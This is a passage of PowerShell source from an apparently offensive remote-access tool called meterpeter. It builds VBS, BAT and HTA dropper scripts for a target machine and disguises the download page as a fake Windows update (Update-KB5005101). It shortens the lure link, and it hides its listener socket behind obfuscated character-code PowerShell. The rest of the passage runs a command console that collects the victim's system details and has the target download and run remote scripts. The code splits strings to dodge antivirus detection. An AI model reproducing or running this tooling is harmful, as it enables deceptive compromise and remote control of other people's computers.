       ElseIf($NumberOfChars -eq 12)
       {
          #Example: 192.168.1.72 + 8087 = 16 chars
          $trithRange = $Server_port[9,10,11,12,13,14,15,16] -join ''       # .72:8087
       }
       ElseIf($NumberOfChars -eq 13)
       {
          #Example: 192.168.1.122 + 8087 = 17 chars
          $trithRange = $Server_port[9,10,11,12,13,14,15,16,17] -join ''     
       }
       ElseIf($NumberOfChars -eq 14)
       {
          #Example: 192.168.15.124 + 8087 = 18 chars
          $trithRange = $Server_port[9,10,11,12,13,14,15,16,17,18] -join ''     
       }
       ElseIf($NumberOfChars -eq 15)
       {
          #Example: 192.168.151.124 + 8087 = 19 chars
          $trithRange = $Server_port[9,10,11,12,13,14,15,16,17,18,19] -join ''     
       }

       $Crandle_Build = Read-Host "[i] Create (D)ownload or (F)ileless dropper script? (D|F)"
       If($Crandle_Build -iMatch '^(f|fileless)$')
       {
          $fuckOrNot = "fileless"
          $Technic = Read-Host "[i] Chose the FileLess Technic to add to crandle(1|2|3|4)"
       }
       Else
       {
          #Default (%tmp%)
          $fuckOrNot = "download"
       }

       If($Technic -Match '^(2)$')
       {
          $Technic = "two"       
       }
       ElseIf($Technic -Match '^(3)$')
       {
          $Technic = "three"       
       }
       ElseIf($Technic -Match '^(4)$')
       {
          $Technic = "four"       
       }
       Else
       {
          $Technic = "one"
       }


       $PayloadName = "$payload_name" + ".ps1" -join ''
       $RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated ? (Y|N)"
       If($RunEXElevated -iMatch '^(y|yes)$')
       {
          <#
          .SYNOPSIS
             Author: @r00t-3xp10it
             Helper - Execute VBS with administrator privileges?

          .NOTES
             This function add's a cmdline to the beggining of the vbs script file
             that invokes 'ru`nas' to spawn a UAC dialogbox to elevate appl privileges.

             None execution its achieved (crandler) if the target user does not
             accept to run the crandler with elevated privileges (UAC dialogBox)
          #>

          powershell -file crandle_builder.ps1 -action "$fuckOrNot" -VbsName "Download_Crandle.vbs" -PayloadName "$PayloadName" -UACElevation 'true' -Technic "$Technic" -Egg 'true'|Out-Null
       }
       Else
       {
          powershell -file crandle_builder.ps1 -action "$fuckOrNot" -VbsName "Download_Crandle.vbs" -PayloadName "$PayloadName" -UACElevation 'false' -Technic "$Technic" -Egg 'true'|Out-Null
       }

       #Replace the attacker ip addr (obfus`cated\split) on vbs template
       ((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "VIRIATO","$SeconRange")|Set-Content -Path "Download_Crandle.vbs"
       ((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "COLOMBO","$FirstRange")|Set-Content -Path "Download_Crandle.vbs"
       ((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "NAVIGATOR","$trithRange")|Set-Content -Path "Download_Crandle.vbs"

       #Download vbs_obfuscator from GitHub repository
       #iwr -uri https://raw.githubusercontent.com/DoctorLai/VBScript_Obfuscator/master/vbs_obfuscator.vbs -outfile vbs_obfuscator.vbs|Unblock-File

       #Obfusc`ate Program.vbs sourcecode.
       #cscript.exe vbs_obfuscator.vbs Download_Crandle.vbs > Buffer.vbs

       #Parse data
       $CrandleVbsName = "${Dropper_Name}" + ".vbs" -Join '' # Update-KB500101.vbs
       #$Obfusc`atedData = Get-Content Buffer.vbs | Select-Object -Skip 3
       #echo $Obfusc`atedData > $CrandleVbsName


       Start-sleep -Milliseconds 300
       #Change vbs crandle signature (add junk function)
       #[int]$Chars = Get-Random -Minimum 6 -Maximum 20 #Random variable length sellection! (from 6 => 20)
       #$RandVar = -join ((65..90) + (97..122) | Get-Random -Count $Chars | % {[char]$_}) #Random variable creation!
       #((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "#REPLACEME","Dim reverse")|Set-Content -Path "$CrandleVbsName"

       #Compress VBS and port the ZIP archive to 'webroot' directory!
       Rename-Item -Path Download_Crandle.vbs -NewName $CrandleVbsName -Force


       ### COMPILE VBS TO EXE
       #C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe /target:exe /out:"$pwd\${Drop`per_Name}.exe" "$pwd\${Dropp`er_Name}.vbs" /platform:anyCPU
       Compress-Archive -LiteralPath "$CrandleVbsName" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
       #Move-Item -Path "$CrandleVbsName" -Destination "${APACHE}${Drop`per_Name}.vbs" -Force

       #Clean all artifacts left behind
       Remove-Item -Path "Buffer.vbs" -EA SilentlyContinue -force
       Remove-Item -Path "vbs_obfuscator.vbs" -EA SilentlyContinue -force
       Remove-Item -Path "crandle_builder.ps1" -EA SilentlyContinue -force
       Remove-Item -Path "Download_Crandle.vbs" -EA SilentlyContinue -force
       Remove-Item -Path "$CrandleVbsName" -EA SilentlyContinue -force
    }
    Else
    {
    
       <#
       .SYNOPSIS
          Author: @r00t-3xp10it
          Helper - meterpeter payload BAT drop`per script
       #>

       ## (ZIP + add LHOST) to dro`pper.bat before send it to apache 2 webroot ..
       Copy-Item -Path "$Bin$Dropper_Name.bat" -Destination "${Bin}BACKUP.bat"|Out-Null
       ((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path $Bin$Dropper_Name.bat

       $RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
       If($RunEXElevated -iMatch '^(y|yes)$')
       {

          <#
          .SYNOPSIS
             Author: @r00t-3xp10it
             Helper - Execute Batch with administrator privileges?

          .NOTES
             This function add's a cmdline to the beggining of bat file that uses
             'Net Session' API to check for admin privs before executing powershell
             -run`as on current process spawning a UAC dialogbox of confirmation.
          #>

          $MyRunes = "r" + "una" + "s" -join ''
          #TODO: run bat with admin privs ??? -> requires LanManServer (server) service active
          ((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "@echo off","@echo off`nsc query `"lanmanserver`"|find `"RUNNING`" >nul`nif %ERRORLEVEL% EQU 0 (`n  Net session >nul 2>&1 || (PowerShell start -verb $MyRunes '%~0' &exit /b)`n)")|Set-Content -Path $Bin$Dropper_Name.bat
       }

       Compress-Archive -LiteralPath $Bin$Dropper_Name.bat -DestinationPath $APACHE$Dropper_Name.zip -Force
       #Revert original BAT to default to be used again
       Remove-Item -Path "$Bin$Dropper_Name.bat" -Force
       Copy-Item -Path "${Bin}BACKUP.bat" -Destination "$Bin$Dropper_Name.bat"|Out-Null
       Remove-Item -Path "${Bin}BACKUP.bat" -Force

    }

    write-Host "[i] Send the URL generated to target to trigger download.." -ForegroundColor DarkYellow;
    Copy-Item -Path "${IPATH}\Mimiratz\theme\Catalog.png" -Destination "${APACHE}Catalog.png"|Out-Null
    Copy-Item -Path "${IPATH}\Mimiratz\theme\favicon.png" -Destination "${APACHE}favicon.png"|Out-Null
    Copy-Item -Path "${IPATH}\Mimiratz\theme\Update-KB5005101.html" -Destination "${APACHE}Update-KB5005101.html"|Out-Null
    ((Get-Content -Path "${APACHE}Update-KB5005101.html" -Raw) -Replace "henrythenavigator","$Dropper_Name")|Set-Content -Path "${APACHE}Update-KB5005101.html"

    Write-Host "[i] Attack Vector: http://$Server_port/$Dropper_Name.html" -ForeGroundColor Black -BackGroundColor white

    #tinyurl function
    powershell -file "${IPATH}\Mimiratz\shorturl.ps1" -ServerPort "$Server_port" -PayloadName "${Dropper_Name}.html"

    ## Start python http.server (To Deliver Drop`per/Payload)
    Start-Process powershell.exe "write-host `" [http.server] Close this Terminal After receving the connection back in meterpeter ..`" -ForeGroundColor red -BackGroundColor Black;cd $APACHE;$PInterpreter -m http.server $HTTP_PORT --bind $Local_Host";
  }
  else
  {
    ## Attacker: Windows - without python3 installed
    # Manualy Deliver Drop`per.ps1 To Target Machine
    write-Host "   WebServer      Client                Local Path" -ForegroundColor Green;
    write-Host "   ---------      ------                ----------";
    write-Host "   NotInstalled   Update-KB5005101.ps1  $IPATH";write-host "`n`n";
    Write-Host "[i] Manualy Deliver '$payload_name.ps1' (Client) to Target" -ForeGroundColor Black -BackGroundColor white;
    Write-Host "[*] Remark: Install Python3 (http.server) to Deliver payloads .." -ForeGroundColor yellow;
    Write-Host "[*] Remark: Dropper Demonstration $payload_name.bat created .." -ForeGroundColor yellow;

## Function for @Daniel_Durnea
# That does not have Python3 (http.server) installed to build Drop`pers (download crandles)
# This Demostration Drop`per allow us to execute payload.ps1 in a hidden terminal windows ;)
$DemoDropper = @("#echo off
powershell (New-Object -ComObject Wscript.Shell).Popup(`"Executing $payload_name.ps1 payload`",4,`"$payload_name Security Update`",0+64)
powershell -WindowStyle hidden -File $payload_name.ps1
del `"%~f0`"")
echo $DemoDropper|Out-File "$payload_name.bat" -Encoding string -Force
((Get-Content -Path "$payload_name.bat" -Raw) -Replace "#","@")|Set-Content -Path "$payload_name.bat"

  }
}
else
{
  ## Attacker: Linux - Apache2 webserver
  # Deliver Dro`pper.zip using Apache2 webserver
  write-Host "   WebServer    Client                Dropper               WebRoot" -ForegroundColor Green;
  write-Host "   ---------    ------                -------               -------";
  write-Host "   Apache2      Update-KB5005101.ps1  Update-KB5005101.zip  $APACHE";write-host "`n`n";
  Copy-Item -Path $IPATH$payload_name.ps1 -Destination $APACHE$payload_name.ps1 -Force;

  If($FlavorSellection -eq 2)
  {
    
       <#
       .SYNOPSIS
          Author: @r00t-3xp10it
          Helper - meterpeter payload HTA drop`per application
       #>

       cd $Bin
       #delete old files left behind by previous executions
       If(Test-Path -Path "$Dropper_Name.hta" -EA SilentlyContinue)
       {
          Remove-Item -Path "$Dropper_Name.hta" -Force
       }

       #Make sure HTA template exists before go any further
       If(-not(Test-Path -Path "Update.hta" -EA SilentlyContinue))
       {
          Write-Host "ERROR: file '${Bin}Update.hta' not found ..." -ForeGroundColor Red -BackGroundColor Black
          Write-Host "`n";exit #Exit @Meterpeter
       }
 
       #Replace the server ip addr + port on HTA template
       ((Get-Content -Path "Update.hta" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "Update.hta"

       #Embebed meterpter icon on HTA application?
       #iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
       #Start-Process -WindowStyle hidden cmd.exe -ArgumentList "/R COPY /B meterpeter.ico+Update.hta $Dro`pper_Name.hta" -Wait

       #Compress HTA application and port the ZIP archive to 'webroot' directory!
       Compress-Archive -LiteralPath "$Dropper_Name.hta" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force

       #Revert original HTA to default to be used again
       ((Get-Content -Path "Update.hta" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "Update.hta"

       #Delete artifacts left behind
       #Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
       Remove-Item -Path "$Dropper_Name.hta" -EA SilentlyContinue -Force

       #return to meterpeter working directory (meterpeter)
       cd $IPATH
    
    }
    Else
    {
    
       <#
       .SYNOPSIS
          Author: @r00t-3xp10it
          Helper - meterpeter payload BAT dro`pper script
       #>

       Copy-Item -Path "$Bin$Dropper_Name.bat" -Destination "${Bin}BACKUP.bat"|Out-Null
       ## (ZIP + add LHOST) to drop`per.bat before send it to apache 2 webroot ..
       ((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "CharlieBrown","$Local_Host")|Set-Content -Path $Bin$Dropper_Name.bat;

       $RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
       If($RunEXElevated -iMatch '^(y|yes)$')
       {

          <#
          .SYNOPSIS
             Author: @r00t-3xp10it
             Helper - Execute Batch with administrator privileges?

          .NOTES
             This function add's a cmdline to the beggining of bat file that uses
             'Net Session' API to check for admin privs before executing powershell
             -ru`nas on current process spawning a UAC dialogbox of confirmation.
          #>

          $MyRunes = "r" + "una" + "s" -join ''
          #TODO: run bat with admin privs ??? -> requires LanManServer (server) service active
          ((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "@echo off","@echo off`nsc query `"lanmanserver`"|find `"RUNNING`" >nul`nif %ERRORLEVEL% EQU 0 (`n  Net session >nul 2>&1 || (PowerShell start -verb $MyRunes '%~0' &exit /b)`n)")|Set-Content -Path $Bin$Dropper_Name.bat
       }

       Compress-Archive -LiteralPath $Bin$Dropper_Name.bat -DestinationPath $APACHE$Dropper_Name.zip -Force;
       #Revert original BAT to default to be used again
       Remove-Item -Path "$Bin$Dropper_Name.bat" -Force
       Copy-Item -Path "${Bin}BACKUP.bat" -Destination "$Bin$Dropper_Name.bat"|Out-Null
       Remove-Item -Path "${Bin}BACKUP.bat" -Force

    }


  #write onscreen
  write-Host "[i] Send the URL generated to target to trigger download."
  Copy-Item -Path "${IPATH}\Mimiratz\theme\Catalog.png" -Destination "${APACHE}Catalog.png"|Out-Null
  Copy-Item -Path "${IPATH}\Mimiratz\theme\favicon.png" -Destination "${APACHE}favicon.png"|Out-Null
  Copy-Item -Path "${IPATH}\Mimiratz\theme\Update-KB5005101.html" -Destination "${APACHE}Update-KB5005101.html"|Out-Null
  ((Get-Content -Path "${APACHE}Update-KB5005101.html" -Raw) -Replace "henrythenavigator","$Dropper_Name")|Set-Content -Path "${APACHE}Update-KB5005101.html"

  Write-Host "[i] Attack Vector: http://$Local_Host/$Dropper_Name.html" -ForeGroundColor Black -BackGroundColor white;

  #Shorten Url function
  $Url = "http://$Local_Host/$Dropper_Name.html"
  $tinyUrlApi = 'http://tinyurl.com/api-create.php'
  $response = Invoke-WebRequest ("{0}?url={1}" -f $tinyUrlApi, $Url)
  $response.Content|Out-File -FilePath "$Env:TMP\sHORTENmE.meterpeter" -Force
  $GetShortenUrl = Get-Content -Path "$Env:TMP\sHORTENmE.meterpeter"
  Write-Host "[i] Shorten Uri  : $GetShortenUrl" -ForeGroundColor Black -BackGroundColor white
  Remove-Item -Path "$Env:TMP\sHORTENmE.meterpeter" -Force

}
$check = $Null;
$python_port = $Null;
$Server_port = $Null;
$Python_version = $Null;
## End of venom function


If($RunEXElevated -iMatch '^(y|yes)$')
{
   <#
   .SYNOPSIS
      Author: @r00t-3xp10it
      Helper - Add UAC elevation to payload.ps1

   .NOTES
     This migth trigger av detection on payload (danger)
     @Ahmed_Ben_Mhamed uses the payload.PS1 of meterpeter C2
     to expl`oit targets over WAN networks, but UAC elevation
     its only available by default in drop`pers. (untill now) 
   #>

   $OLD = (Get-Content -Path "${IPATH}${payload_name}.ps1" -Raw)
   echo "`$Bi0s = (`"#Ru`"+`"nA#s`" -Join '') -replace '#',''" > "${IPATH}${payload_name}.ps1"
   echo "If(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))" >> "${IPATH}${payload_name}.ps1"
   echo "{" >> "${IPATH}${payload_name}.ps1"
   echo "  Start-Process -WindowStyle hidden powershell.exe `"-File`",('`"{0}`"' -f `$MyInvocation.MyCommand.Path) -Verb `$Bi0s" >> "${IPATH}${payload_name}.ps1"
   echo "  exit" >> "${IPATH}${payload_name}.ps1"
   echo "}`n" >> "${IPATH}${payload_name}.ps1"
   echo "$OLD" >> "${IPATH}${payload_name}.ps1"
}


$ola = 'Creat' + 'eInstance' -join ''
$Bytes = [System.Byte[]]::$ola([System.Byte],1024);
Write-Host "[*] Listening on LPort: $Local_Port tcp";

## $Socket - Obfuscat`ion
${/$.}=+$(  )  ;  ${).!}  =${/$.}  ;${#~}  =  ++  ${/$.}  ;  ${[/}  =(  ${/$.}  =${/$.}  +  ${#~}  )  ;${.-}  =  (  ${/$.}  =${/$.}+  ${#~}  );  ${.$)}=  (${/$.}  =  ${/$.}  +${#~}  )  ;${/@}  =  (${/$.}  =${/$.}+${#~}  )  ;${)/}=(${/$.}=${/$.}+${#~}  )  ;  ${#-*}  =(  ${/$.}=  ${/$.}+  ${#~});${;}=  (${/$.}  =${/$.}+  ${#~}  )  ;${``[@}  =  (${/$.}  =  ${/$.}+${#~}  )  ;${[}=  "["  +  "$(  @{}  )  "[${#-*}]+  "$(@{  })"[  "${#~}"  +  "${``[@}"]+"$(  @{}  )  "["${[/}"  +  "${).!}"]+  "$?"[${#~}  ]  +  "]"  ;${/$.}  =  "".("$(@{  })  "[  "${#~}${.$)}"]+"$(@{  })"["${#~}${)/}"]+"$(  @{  }  )  "[  ${).!}  ]  +"$(  @{  })  "[${.$)}]  +"$?  "[${#~}  ]+"$(  @{})  "[${.-}]  )  ;  ${/$.}=  "$(  @{  }  )  "["${#~}"+  "${.$)}"]  +  "$(  @{})  "[  ${.$)}  ]  +"${/$.}"[  "${[/}"  +"${#-*}"]  ;&${/$.}  ("  ${/$.}  (${[}${.-}${)/}+  ${[}${;}${.-}+  ${[}${#~}${#~}${#~}+${[}${``[@}${``[@}  +  ${[}${#~}${).!}${#-*}+  ${[}${#~}${).!}${#~}+${[}${#~}${#~}${)/}+${[}${.-}${[/}+  ${[}${)/}${#~}  +${[}${.-}${[/}+${[}${#-*}${;}  +${[}${#~}${).!}${#~}  +${[}${#~}${#~}${``[@}+  ${[}${.$)}${/@}+${[}${#-*}${``[@}+  ${[}${``[@}${;}+  ${[}${#~}${).!}${)/}  +${[}${#~}${).!}${#~}  +  ${[}${``[@}${``[@}  +${[}${#~}${#~}${)/}  +${[}${.-}${[/}  +${[}${;}${.-}+${[}${#~}${[/}${#~}  +${[}${#~}${#~}${/@}+${[}${#~}${#~}${)/}  +${[}${#~}${).!}${#~}+  ${[}${#~}${).!}${``[@}  +  ${[}${.$)}${)/}  +  ${[}${#-*}${;}  +  ${[}${#~}${).!}${#~}+  ${[}${#~}${#~}${)/}  +  ${[}${.$)}${)/}+  ${[}${;}${.-}  +  ${[}${#~}${#~}${#~}+${[}${``[@}${``[@}+${[}${#~}${).!}${#-*}+  ${[}${#~}${).!}${#~}  +  ${[}${#~}${#~}${)/}  +${[}${#~}${#~}${/@}  +${[}${.$)}${)/}  +  ${[}${;}${.$)}  +${[}${``[@}${``[@}  +  ${[}${#~}${#~}${[/}+  ${[}${#-*}${)/}+  ${[}${#~}${).!}${/@}+${[}${#~}${#~}${/@}  +  ${[}${#~}${#~}${)/}+${[}${#~}${).!}${#~}  +${[}${#~}${#~}${).!}  +  ${[}${#~}${).!}${#~}  +${[}${#~}${#~}${.$)}  +  ${[}${.$)}${).!}+${[}${.-}${``[@}  +${[}${.$)}${;}+${[}${.$)}${)/}  +${[}${.$)}${;}  +${[}${.$)}${)/}  +  ${[}${.$)}${;}  +  ${[}${.$)}${)/}+  ${[}${.$)}${;}  +  ${[}${.-}${``[@}  +${[}${.$)}${.$)}  +  ${[}${.-}${)/}+  ${[}${#-*}${)/}+${[}${#~}${#~}${#~}+  ${[}${``[@}${``[@}+${[}${``[@}${#-*}  +${[}${#~}${).!}${;}+  ${[}${``[@}${/@}  +${[}${;}${).!}  +${[}${#~}${#~}${#~}  +${[}${#~}${#~}${.$)}+${[}${#~}${#~}${)/}  +  ${[}${.$)}${#~}  +${[}${/@}${``[@}  )")

$Socket.Start();
$Client = $Socket.AcceptTcpClient();
$Remote_Host = $Client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "[-] Beacon received: " -ForegroundColor Green -NoNewline
Write-Host "$Remote_Host" -ForegroundColor Red


## Connection Banner
$ConnectionBanner = @"

    _____________           _____________
   |.-----------.|         |.-----------.|
   ||           ||         ||           ||
   ||   Local   ||  <==>   ||   Remote  ||  
   ||___________||         ||___________||
   __'---------'__         __'---------'__
  [:::: ::::::::::]       [:::::::::: ::::]
"@;
write-host $ConnectionBanner
write-host "    $Local_Host" -ForegroundColor Green -NoNewline
write-host "            $Remote_Host`n" -ForegroundColor Red


#Play sound on session creation
$PlayWav = New-Object System.Media.SoundPlayer
$PlayWav.SoundLocation = "${IPATH}\Mimiratz\theme\ConnectionAlert.wav"
$PlayWav.playsync();

$Stream = $Client.GetStream();
$WaitData = $False;
$Info = $Null;

$RhostWorkingDir = Char_Obf("(Get-location).Path");
$Processor = Char_Obf("(Get-WmiObject Win32_processor).Caption");
$Name = Char_Obf("(Get-WmiObject Win32_OperatingSystem).CSName");
$System = Char_Obf("(Get-WmiObject Win32_OperatingSystem).Caption");
$Version = Char_Obf("(Get-WmiObject Win32_OperatingSystem).Version");
$serial = Char_Obf("(Get-WmiObject Win32_OperatingSystem).SerialNumber");
$syst_dir = Char_Obf("(Get-WmiObject Win32_OperatingSystem).SystemDirectory");
$Architecture = Char_Obf("(Get-WmiObject Win32_OperatingSystem).OSArchitecture");
$WindowsDirectory = Char_Obf("(Get-WmiObject Win32_OperatingSystem).WindowsDirectory");
$RegisteredUser = Char_Obf("(Get-CimInstance -ClassName Win32_OperatingSystem).RegisteredUser");
$BootUpTime = Char_Obf("(Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime.ToString()");

#Sysinfo command at first time run (connection)
$Command = "cd `$Env:TMP;`"      DomainName     : `"+$Name+`"``n      Architecture   : `"+$Architecture+`"``n      RemoteHost     : `"+`"$Remote_Host`"+`"``n      BootUpTime     : `"+$BootUpTime+`"``n      RegisteredUser : `"+$RegisteredUser+`"``n      OP System      : `"+$System+`"``n      OP Version     : `"+$Version+`"``n      SystemDir      : `"+$syst_dir+`"``n      WorkingDir     : `"+$RhostWorkingDir+`"``n      ProcessorCPU   : `"+$Processor;If(Get-Process wscript -EA SilentlyContinue){Stop-Process -Name wscript -Force}";


While($Client.Connected)
{
  If(-not ($WaitData))
  {
    If(-not ($Command))
    {
      $Flipflop = "False";
      Write-Host "`n - press 'Enter' to continue .." -NoNewline;
      $continue = Read-Host;
      Clear-Host;
      Write-Host $Modules;
      Write-Host "`n :meterpeter> " -NoNewline -ForeGroundColor Green;
      $Command = Read-Host;
    }


    If($Command -ieq "Modules")
    {
      Clear-Host;
      Write-Host "`n$Modules";
      $Command = $Null;
    }

    If($Command -ieq "Info")
    {
      Write-Host "`n`n$Info";
      $Command = $Null;
    }

    If($Command -ieq "Session")
    {
      ## Check if client (target machine) is still connected ..
      $ParseID = "$Local_Host"+":"+"$Local_Port" -Join ''
      $SessionID = netstat -ano | Select-String "$ParseID" | Select-Object -First 1
      $AllSettings = Get-NetAdapter | Select-Object * | Where-Object { $_.Status -iMatch '^(Up)$' }
      $Netdesc = ($AllSettings).InterfaceDescription
      $NetSped = ($AllSettings).LinkSpeed
      $NetAdpt = ($AllSettings).Name

      write-host "`n`n    Connection : " -NoNewline;
      write-host "$NetAdpt" -ForegroundColor DarkGray -NoNewline;
      write-host " LinkSpeed: " -NoNewline;
      write-host "$NetSped" -ForegroundColor DarkGray
      write-host "    Description: " -NoNewline
      write-host "$Netdesc" -ForegroundColor Red

      Write-Host "`n    Proto  Local Address          Foreign Address        State           PID" -ForeGroundColor green;
      Write-Host "    -----  -------------          ---------------        -----           ---";
      ## Display connections statistics
      If(-not($SessionID) -or $SessionID -eq " ")
      {
        Write-Host "    None Connections found                              (Client Disconnected)" -ForeGroundColor Red
      } Else {
        Write-Host "  $SessionID"
      }

      write-host ""
      $Command = $Null;
    }

    If($Command -ieq "Pranks")
    {
      write-host "`n`n   Description:" -ForegroundColor Yellow;
      write-host "   Remote pranks manager";
      write-host "`n`n   Modules        Description" -ForegroundColor green;
      write-host "   -------        -----------";
      write-host "   Msgbox         Spawn remote msgbox manager";
      write-host "   Speak          Make remote host speak one frase";
      write-host "   OpenUrl        Open\spawn URL in default browser";
      write-host "   GoogleX        Browser google easter eggs manager";
      write-host "   WindowsUpdate  Fake windows update full screen prank";
      write-host "   CriticalError  Prank that fakes a critical system error";
      write-host "   BallonTip      Show a ballon tip in the notification bar";
      write-host "   Nodrives       Hide All Drives (C:D:E:F:G) From Explorer";
      write-host "   LabelDrive     Rename drive letter (C:) label From Explorer";
      write-host "   Return         Return to Server Main Menu" -ForeGroundColor yellow
      write-host "`n`n :meterpeter:Pranks> " -NoNewline -ForeGroundColor Green;
      $choise = Read-Host;
      If($choise -ieq "BallonTip")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow
         write-host "   This module spawn a ballontip in the notification bar"
         write-host "   Parameter IconType accepts values: Info,Warning,Error"
         write-host "   Parameter CloseTime accepts milliseconds (example: 10000)"
         write-host "`n`n   Modules  Description                    Privileges Required" -ForegroundColor green
         write-host "   -------  -----------                    -------------------"
         write-host "   Spawn    ballontip in notification bar  UserLand"
         write-host "   Return   Return to Server Main Menu" -ForeGroundColor yellow
         write-host "`n`n :meterpeter:Pranks:BallonTip> " -NoNewline -ForeGroundColor Green
         $Prank_choise = Read-Host;
         If($Prank_choise -ieq "Spawn")
         {
            write-host " - BallonTip Title     : " -NoNewline
            $Title = Read-Host
            If([string]::IsNullOrEmpty($Title))
            {
               $Title = "Attention `$Env:USERNAME"
               write-host "   => Error: wrong input, default to: '$Title'" -ForegroundColor Red
            }

            write-host " - BallonTip Text      : " -NoNewline
            $Text = Read-Host
            If([string]::IsNullOrEmpty($Text))
            {
               $Text = "A vir`us has detected in `$Env:COMPUTERNAME"
               write-host "   => Error: wrong input, default to: '$Text'" -ForegroundColor Red
            }

            write-host " - BallonTip IconType  : " -NoNewline
            $IconType = Read-Host
            If([string]::IsNullOrEmpty($IconType))
            {
               $IconType = "Warning"
               write-host "   => Error: wrong input, default to: '$IconType'" -ForegroundColor Red
            }

            write-host " - BallonTip CloseTime : " -ForegroundColor DarkYellow -NoNewline
            $CloseTime = Read-Host
            If([string]::IsNullOrEmpty($CloseTime))
            {
               $CloseTime = "10000"
               write-host "   => Error: wrong input, default to: '$CloseTime'" -ForegroundColor Red
            }

            write-host " * Spawn a ballontip in the notification bar .." -ForegroundColor Green;Start-Sleep -Seconds 1
            $Command = "cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Misc-CmdLets/Show-BalloonTip.ps1' -OutFile 'Show-BalloonTip.ps1'|Unblock-File;powershell -file `$Env:TMP\Show-BalloonTip.ps1 -title `"$Title`" -text `"$Text`" -icontype `"$IconType`" -autoclose `"$CloseTime`";Remove-Item -Path `$Env:TMP\Show-BalloonTip.ps1 -Force"
         }
         If($Prank_choise -ieq "Return" -or $Prank_choise -ieq "cls" -or $Prank_choise -ieq "modules" -or $Prank_choise -ieq "clear")
         {
            $choise = $Null;
            $Command = $Null;
            $Prank_choise = $Null;
         }      
      }
      If($choise -ieq "WindowsUpdate" -or $choise -ieq "WU")
      {
         write-host "`n`n   Description:" -ForegroundColor Yellow
         write-host "   This module opens the target default web browser in fakeupdate.net"
         write-host "   in full screen mode. Faking that one windows update its occuring."
         write-host "   Remark: Target requires to press F11 to exit full screen prank." -ForegroundColor Yellow
         write-host "`n`n   Modules  Description                  Privileges Required" -ForegroundColor green;
         write-host "   -------  -----------                  -------------------";
         write-host "   Start    execute prank in background  UserLand";
         write-host "   Return   Return to Server Main Menu" -ForeGroundColor yellow
         write-host "`n`n :meterpeter:Pranks:WU> " -NoNewline -ForeGroundColor Green;
         $Prank_choise = Read-Host;
         If($Prank_choise -ieq "Start")
         {
            write-host " * Faking windows system update ..`n" -ForegroundColor Green;Start-Sleep -Seconds 1
            $Command = "powershell cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/FWUprank.ps1' -OutFile 'FWUprank.ps1'|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList '-file FWUprank.ps1 -autodelete on';echo '   `> Windows system update prank running in background!' `> trash.mtp;echo '   `> URI: https://fakeupdate.net/[SystemOS]/~{F11}' `>`> trash.mtp;Get-Content trash.mtp;Remove-Item trash.mtp -Force"
         }
         If($Prank_choise -ieq "Return" -or $Prank_choise -ieq "cls" -or $Prank_choise -ieq "modules" -or $Prank_choise -ieq "clear")
         {
            $choise = $Null;
            $Command = $Null;
            $Prank_choise = $Null;
         }
      }
      If($choise -ieq "LabelDrive" -or $choise -ieq "Label")
      {
        write-host "`n`n   Description:" -ForegroundColor Yellow;
        write-host "   Module to rename drive label";
        write-host "`n`n   Modules   Description                     Privileges Required" -ForegroundColor green;
        write-host "   -------   -----------                     -------------------";
        write-host "   List      ALL drives available            UserLand" 
        write-host "   Rename    Rename drive letter label       " -NoNewline;
        write-host "Administrator" -ForegroundColor Red;
        write-host "   Return    Return to Server Main Menu" -ForeGroundColor yellow;
        write-host "`n`n :meterpeter:Pranks:Label> " -NoNewline -ForeGroundColor Green;
        $choise_two = Read-Host;
        If($choise_two -ieq "List")
        {
           write-host " * Listing all drives available .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n";
           $Command = "`$PSVERSION = (`$Host).version.Major;If(`$PSVERSION -gt 5){Get-PSDrive -PSProvider 'FileSystem'|Select-Object Root,CurrentLocation,Used,Free|ft|Out-File dellog.txt}Else{Get-Volume|Select-Object DriveLetter,FileSystemLabel,FileSystemType,DriveType,HealthStatus,SizeRemaining,Size|FT|Out-File dellog.txt};Get-Content dellog.txt;Remove-Item dellog.txt -Force";
        }
        If($choise_two -ieq "Rename")
        {
          $MyDrive = Read-Host " - DriveLetter to change the label (C)"
          $MyDName = Read-Host " - Drive new Friendly Name (Armagedon)"
          write-host " * Rename Drive ${MyDrive}: label to [" -ForegroundColor Green -NoNewline
          write-host "$MyDName" -ForegroundColor Red -NoNewline;
          write-host "]" -ForegroundColor Green;
          
          Start-Sleep -Seconds 1;write-host "`n";
